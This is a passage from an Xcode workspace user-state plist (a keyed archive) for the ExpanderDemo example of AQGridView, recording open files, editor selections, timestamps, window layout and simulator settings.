<key>CF$UID</key> <integer>62</integer> </dict> </array> </dict> <string>PrimaryDocumentSelectedCharacterRange</string> <string>PrimaryDocumentTimestamp</string> <string>PrimaryDocumentVisibleCharacterRange</string> <string>{32, 0}</string> <real>303665071.90742499</real> <string>{0, 1788}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>57</integer> </dict> <dict> <key>CF$UID</key> <integer>58</integer> </dict> <dict> <key>CF$UID</key> <integer>59</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>64</integer> </dict> <dict> <key>CF$UID</key> <integer>65</integer> </dict> <dict> <key>CF$UID</key> <integer>66</integer> </dict> </array> </dict> <string>{1789, 0}</string> <real>303665086.87728798</real> <string>{0, 1942}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>52</integer> </dict> <dict> <key>CF$UID</key> <integer>68</integer> </dict> <dict> <key>CF$UID</key> <integer>69</integer> </dict> </array> </dict> <string>{0, 1802}</string> <real>303664453.33700502</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>71</integer> </dict> <dict> <key>CF$UID</key> <integer>72</integer> </dict> <dict> <key>CF$UID</key> <integer>73</integer> </dict> </array> </dict> <string>{0, 1646}</string> <real>303664453.88485599</real> <string>{0, 1839}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>52</integer> </dict> <dict> <key>CF$UID</key> <integer>75</integer> </dict> <dict> <key>CF$UID</key> <integer>76</integer> </dict> </array> </dict> <real>303664449.90622503</real> <string>{1286, 1868}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>52</integer> </dict> <dict> <key>CF$UID</key> <integer>78</integer> </dict> <dict> <key>CF$UID</key> <integer>79</integer> </dict> </array> </dict> <real>303662804.001818</real> <string>{2051, 1961}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>52</integer> </dict> <dict> <key>CF$UID</key> <integer>81</integer> </dict> <dict> <key>CF$UID</key> <integer>82</integer> </dict> </array> </dict> <string>{0, 1811}</string> <real>303664451.51497799</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>84</integer> </dict> <dict> <key>CF$UID</key> <integer>85</integer> </dict> <dict> <key>CF$UID</key> <integer>86</integer> </dict> </array> </dict> <string>{29, 0}</string> <real>303663791.988141</real> <string>{0, 2006}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>88</integer> </dict> <dict> <key>CF$UID</key> <integer>89</integer> </dict> <dict> <key>CF$UID</key> <integer>90</integer> </dict> </array> </dict> <string>{32, 0}</string> <real>303663816.79627001</real> <string>{0, 2275}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>52</integer> </dict> <dict> <key>CF$UID</key> <integer>92</integer> </dict> <dict> <key>CF$UID</key> <integer>93</integer> </dict> </array> </dict> <string>{0, 2423}</string> <real>303662795.99122202</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>52</integer> </dict> <dict> <key>CF$UID</key> <integer>95</integer> </dict> <dict> <key>CF$UID</key> <integer>96</integer> </dict> </array> </dict> <string>{0, 2462}</string> <real>303662798.11079699</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>98</integer> </dict> <dict> <key>CF$UID</key> <integer>99</integer> </dict> <dict> <key>CF$UID</key> <integer>100</integer> </dict> </array> </dict> <string>{3117, 0}</string> <real>303665051.03159797</real> <string>{1001, 2146}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>49</integer> </dict> <dict> <key>CF$UID</key> <integer>51</integer> </dict> <dict> <key>CF$UID</key> <integer>50</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>84</integer> </dict> <dict> <key>CF$UID</key> <integer>102</integer> </dict> <dict> <key>CF$UID</key> <integer>103</integer> </dict> </array> </dict> <real>303663798.390113</real> <string>{0, 2157}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>105</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>107</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>106</integer> </dict> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>20</integer> </dict> <key>NS.string</key> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/ExpanderDemo.xcodeproj/</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>108</integer> </dict> <dict> <key>CF$UID</key> <integer>109</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>110</integer> </dict> <dict> <key>CF$UID</key> <integer>121</integer> </dict> </array> </dict> <string>SelectedDocumentLocations</string> <string>Xcode3ProjectEditor.sourceList.splitview</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>120</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>111</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>119</integer> </dict> <key>documentURL</key> <dict> <key>CF$UID</key> <integer>112</integer> </dict> <key>selection</key> <dict> <key>CF$UID</key> <integer>114</integer> </dict> <key>timestamp</key> <dict> <key>CF$UID</key> <integer>113</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/ExpanderDemo.xcodeproj/</string> <real>303662770.71008003</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>115</integer> </dict> <dict> <key>CF$UID</key> <integer>116</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>117</integer> </dict> <dict> <key>CF$UID</key> <integer>118</integer> </dict> </array> </dict> <string>Project</string> <string>Editor</string> <string>ExpanderDemo</string> <string>Xcode3ProjectInfoEditor</string> <dict> <key>$classes</key> <array> <string>Xcode3ProjectDocumentLocation</string> <string>DVTDocumentLocation</string> <string>NSObject</string> </array> <key>$classname</key> <string>Xcode3ProjectDocumentLocation</string> </dict> <dict> <key>$classes</key> <array> <string>NSArray</string> <string>NSObject</string> </array> <key>$classname</key> <string>NSArray</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>122</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>123</integer> </dict> </array> </dict> <string>DVTSplitViewItems</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>124</integer> </dict> <dict> <key>CF$UID</key> <integer>130</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>125</integer> </dict> <dict> <key>CF$UID</key> <integer>126</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>127</integer> </dict> <dict> <key>CF$UID</key> <integer>128</integer> </dict> </array> </dict> <string>DVTIdentifier</string> <string>DVTViewMagnitude</string> <string></string> <real>170</real> <dict> <key>$classes</key> <array> <string>NSDictionary</string> <string>NSObject</string> </array> <key>$classname</key> <string>NSDictionary</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>125</integer> </dict> <dict> <key>CF$UID</key> <integer>126</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>127</integer> </dict> <dict> <key>CF$UID</key> <integer>131</integer> </dict> </array> </dict> <real>970</real> <dict> <key>$classes</key> <array> <string>NSMutableArray</string> <string>NSArray</string> <string>NSObject</string> </array> <key>$classname</key> <string>NSMutableArray</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>134</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>135</integer> </dict> </array> </dict> <string>IDENameString</string> <string>ExpanderDemo</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>137</integer> </dict> <dict> <key>CF$UID</key> <integer>138</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>139</integer> </dict> <dict> <key>CF$UID</key> <integer>140</integer> </dict> </array> </dict> <string>IDEDeviceLocation</string> <string>IDEDeviceArchitecture</string> <string>dvtdevice-iphonesimulator:/Xcode4/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator3.2.sdk-iPad</string> <string>i386</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array/> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>143</integer> </dict> <dict> <key>CF$UID</key> <integer>145</integer> </dict> <dict> <key>CF$UID</key> <integer>147</integer> </dict> <dict> <key>CF$UID</key> <integer>149</integer> </dict> <dict> <key>CF$UID</key> <integer>151</integer> </dict> <dict> <key>CF$UID</key> <integer>153</integer> </dict> <dict> <key>CF$UID</key> <integer>155</integer> </dict> <dict> <key>CF$UID</key> <integer>157</integer> </dict> <dict> <key>CF$UID</key> <integer>159</integer> </dict> <dict> <key>CF$UID</key> <integer>161</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>144</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandingGridViewController.m</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>146</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandingGridViewController.h</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>148</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpanderDemoViewController.h</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>150</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ImageGridViewCell.h</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>152</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandFromGridViewCell.m</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>154</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpandFromGridViewCell.h</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>156</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ImageGridViewCell.m</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>158</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpanderDemoViewController.m</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>160</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpanderDemoAppDelegate.m</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>162</integer> </dict> </dict> <string>file://localhost/Users/jim/Documents/Development/Quatermain/AQGridView/Examples/ExpanderDemo/Classes/ExpanderDemoAppDelegate.h</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>164</integer> </dict> <dict> <key>CF$UID</key> <integer>165</integer> </dict> <dict> <key>CF$UID</key> <integer>166</integer> </dict> <dict> <key>CF$UID</key> <integer>167</integer> </dict> <dict> <key>CF$UID</key> <integer>168</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>169</integer> </dict> <dict> <key>CF$UID</key> <integer>13</integer> </dict> <dict> <key>CF$UID</key> <integer>168</integer> </dict> <dict> <key>CF$UID</key> <integer>170</integer> </dict> <dict> <key>CF$UID</key> <integer>171</integer> </dict> </array> </dict> <string>IDEOrderedWorkspaceTabControllers</string> <string>IDEUserWantsMiniDebuggingConsole</string> <string>IDEActiveWorkspaceTabController</string> <string>IDEWindowFrame</string> <string>IDEWorkspaceTabController_0</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>120</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>168</integer> </dict> </array> </dict> <string>{{190, 225}, {1331, 1122}}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>172</integer> </dict> <dict> <key>CF$UID</key> <integer>173</integer> </dict> <dict> <key>CF$UID</key> <integer>174</integer> </dict> <dict> <key>CF$UID</key> <integer>175</integer> </dict> <dict> <key>CF$UID</key> <integer>176</integer> </dict> <dict> <key>CF$UID</key> <integer>177</integer> </dict> <dict> <key>CF$UID</key> <integer>178</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>179</integer> </dict> <dict> <key>CF$UID</key> <integer>180</integer> </dict> <dict> <key>CF$UID</key> <integer>181</integer> </dict> <dict> <key>CF$UID</key> <integer>191</integer> </dict> <dict> <key>CF$UID</key> <integer>212</integer> </dict> <dict> <key>CF$UID</key> <integer>180</integer> </dict> <dict> <key>CF$UID</key> <integer>221</integer> </dict> </array> </dict> <string>IDETabLabel</string> <string>IDEShowNavigator</string> <string>IDEWorkspaceTabControllerUtilityAreaSplitView</string> <string>IDENavigatorArea</string> <string>IDEWorkspaceTabControllerDesignAreaSplitView</string> <string>IDEShowUtilities</string> <string>IDEEditorArea</string> <string>ExpandingGridViewController.m</string> <true/> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>182</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>183</integer> </dict> </array> </dict> <string>DVTSplitViewItems</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>184</integer> </dict> <dict> <key>CF$UID</key> <integer>189</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>185</integer> </dict> <dict> <key>CF$UID</key> <integer>186</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>187</integer> </dict> <dict> <key>CF$UID</key> <integer>188</integer> </dict> </array> </dict> <string>DVTIdentifier</string> <string>DVTViewMagnitude</string> <string></string> <real>919</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>185</integer> </dict> <dict> <key>CF$UID</key> <integer>186</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>187</integer> </dict> <dict> <key>CF$UID</key> <integer>190</integer> </dict> </array> </dict> <real>130</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>192</integer> </dict> <dict> <key>CF$UID</key> <integer>193</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>193</integer> </dict> <dict> <key>CF$UID</key> <integer>194</integer> </dict> </array> </dict> <string>SelectedNavigator</string> <string>Xcode.IDEKit.Navigator.Structure</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>195</integer> </dict> <dict> <key>CF$UID</key> <integer>196</integer> </dict> <dict> <key>CF$UID</key> <integer>197</integer> </dict> <dict> <key>CF$UID</key> <integer>198</integer> </dict> <dict> <key>CF$UID</key> <integer>199</integer> </dict> <dict> <key>CF$UID</key> <integer>200</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>13</integer> </dict> <dict> <key>CF$UID</key> <integer>201</integer> </dict> <dict> <key>CF$UID</key> <integer>13</integer> </dict> <dict> <key>CF$UID</key> <integer>13</integer> </dict> <dict> <key>CF$UID</key> <integer>208</integer> </dict> <dict> <key>CF$UID</key> <integer>211</integer> </dict> </array> </dict> <string>IDEUnsavedDocumentFilteringEnabled</string> <string>IDEExpandedItems</string> <string>IDESCMStatusFilteringEnabled</string> <string>IDERecentDocumentFilteringEnabled</string> <string>IDESelectedObjects</string> <string>IDEVisibleRect</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>202</integer> </dict> <dict> <key>CF$UID</key> <integer>204</integer> </dict> <dict> <key>CF$UID</key> <integer>206</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>203</integer> </dict> </array> </dict> <string>ExpanderDemo</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>203</integer> </dict> <dict> <key>CF$UID</key> <integer>205</integer> </dict> </array> </dict> <string>Classes</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>203</integer> </dict> <dict> <key>CF$UID</key> <integer>207</integer> </dict> </array> </dict> <string>Resources</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>209</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>203</integer> </dict> <dict> <key>CF$UID</key> <integer>205</integer> </dict> <dict> <key>CF$UID</key> <integer>210</integer> </dict> </array> </dict> <string>ExpandingGridViewController.m</string> <string>{{0, 0}, {259, 1005}}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>182</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>213</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>214</integer> </dict> <dict> <key>CF$UID</key> <integer>216</integer> </dict> <dict> <key>CF$UID</key> <integer>218</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>185</integer> </dict> <dict> <key>CF$UID</key> <integer>186</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>175</integer> </dict> <dict> <key>CF$UID</key> <integer>215</integer> </dict> </array> </dict> <real>260</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>185</integer> </dict> <dict> <key>CF$UID</key> <integer>186</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>178</integer> </dict> <dict> <key>CF$UID</key> <integer>217</integer> </dict> </array> </dict> <real>811</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>185</integer> </dict> <dict> <key>CF$UID</key> <integer>186</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>219</integer> </dict> <dict> <key>CF$UID</key> <integer>220</integer> </dict> </array> </dict> <string>IDEUtilitiesArea</string> <real>260</real> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>222</integer> </dict> <dict> <key>CF$UID</key> <integer>223</integer> </dict> <dict> <key>CF$UID</key> <integer>224</integer> </dict> <dict> <key>CF$UID</key> <integer>225</integer> </dict> <dict> <key>CF$UID</key> <integer>226</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>227</integer> </dict> <dict> <key>CF$UID</key> <integer>255</integer> </dict> <dict> <key>CF$UID</key> <integer>262</integer> </dict> <dict> <key>CF$UID</key> <integer>13</integer> </dict> <dict> <key>CF$UID</key> <integer>254</integer> </dict> </array> </dict> <string>IDEEditorMode_Standard</string> <string>IDEEditorArea_DebuggerSplitView</string> <string>IDEEDitorArea_DebugArea</string> <string>ShowDebuggerArea</string> <string>EditorMode</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>228</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>229</integer> </dict> </array> </dict> <string>EditorStates</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>228</integer> </dict> <dict> <key>CF$UID</key> <integer>230</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>231</integer> </dict> <dict> <key>CF$UID</key> <integer>254</integer> </dict> </array> </dict> <string>SelectedEditorState</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>132</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>232</integer> </dict> </array> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>55</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>233</integer> </dict> <dict> <key>CF$UID</key> <integer>234</integer> </dict> <dict> <key>CF$UID</key> <integer>235</integer> </dict> <dict> <key>CF$UID</key> <integer>236</integer> </dict> <dict> <key>CF$UID</key> <integer>237</integer> </dict> <dict> <key>CF$UID</key> <integer>238</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>239</integer> </dict> <dict> <key>CF$UID</key> <integer>243</integer> </dict> <dict> <key>CF$UID</key> <integer>249</integer> </dict> <dict> <key>CF$UID</key> <integer>251</integer> </dict> <dict> <key>CF$UID</key> <integer>252</integer> </dict> <dict> <key>CF$UID</key> <integer>253</integer> </dict> </array> </dict> <string>EditorState</string> <string>ArchivableRepresentation</string> <string>DocumentURL</string> <string>FileDataType</string> <string>DocumentExtensionIdentifier</string> <string>HistoryMenuDescription</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>129</integer> </dict> <key>NS.keys</key> <array> <dict> <key>CF$UID</key> <integer>57</integer> </dict> <dict> <key>CF$UID</key> <integer>58</integer> </dict> <dict> <key>CF$UID</key> <integer>59</integer> </dict> </array> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>240</integer> </dict> <dict> <key>CF$UID</key> <integer>241</integer> </dict> <dict> <key>CF$UID</key> <integer>242</integer> </dict> </array> </dict> <string>{3117, 0}</string> <real>303665105.94177699</real> <string>{1586, 1681}</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>248</integer> </dict> <key>DocumentLocation</key> <dict> <key>CF$UID</key> <integer>247</integer> </dict> <key>DomainIdentifier</key> <dict> <key>CF$UID</key> <integer>244</integer> </dict> <key>IdentifierPath</key> <dict> <key>CF$UID</key> <integer>245</integer> </dict> </dict> <string>Xcode.IDENavigableItemDomain.WorkspaceStructure</string> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>120</integer> </dict> <key>NS.objects</key> <array> <dict> <key>CF$UID</key> <integer>210</integer> </dict> <dict> <key>CF$UID</key> <integer>205</integer> </dict> <dict> <key>CF$UID</key> <integer>246</integer> </dict> </array> </dict> <string>ExpanderDemo</string> <string>$null</string> <dict> <key>$classes</key> <array> <string>IDENavigableItemArchivableRepresentation</string> <string>NSObject</string> </array> <key>$classname</key> <string>IDENavigableItemArchivableRepresentation</string> </dict> <dict> <key>$class</key> <dict> <key>CF$UID</key> <integer>21</integer> </dict> <key>NS.base</key> <dict> <key>CF$UID</key> <integer>0</integer> </dict> <key>NS.relative</key> <dict> <key>CF$UID</key> <integer>250</integer> </dict> </dict> 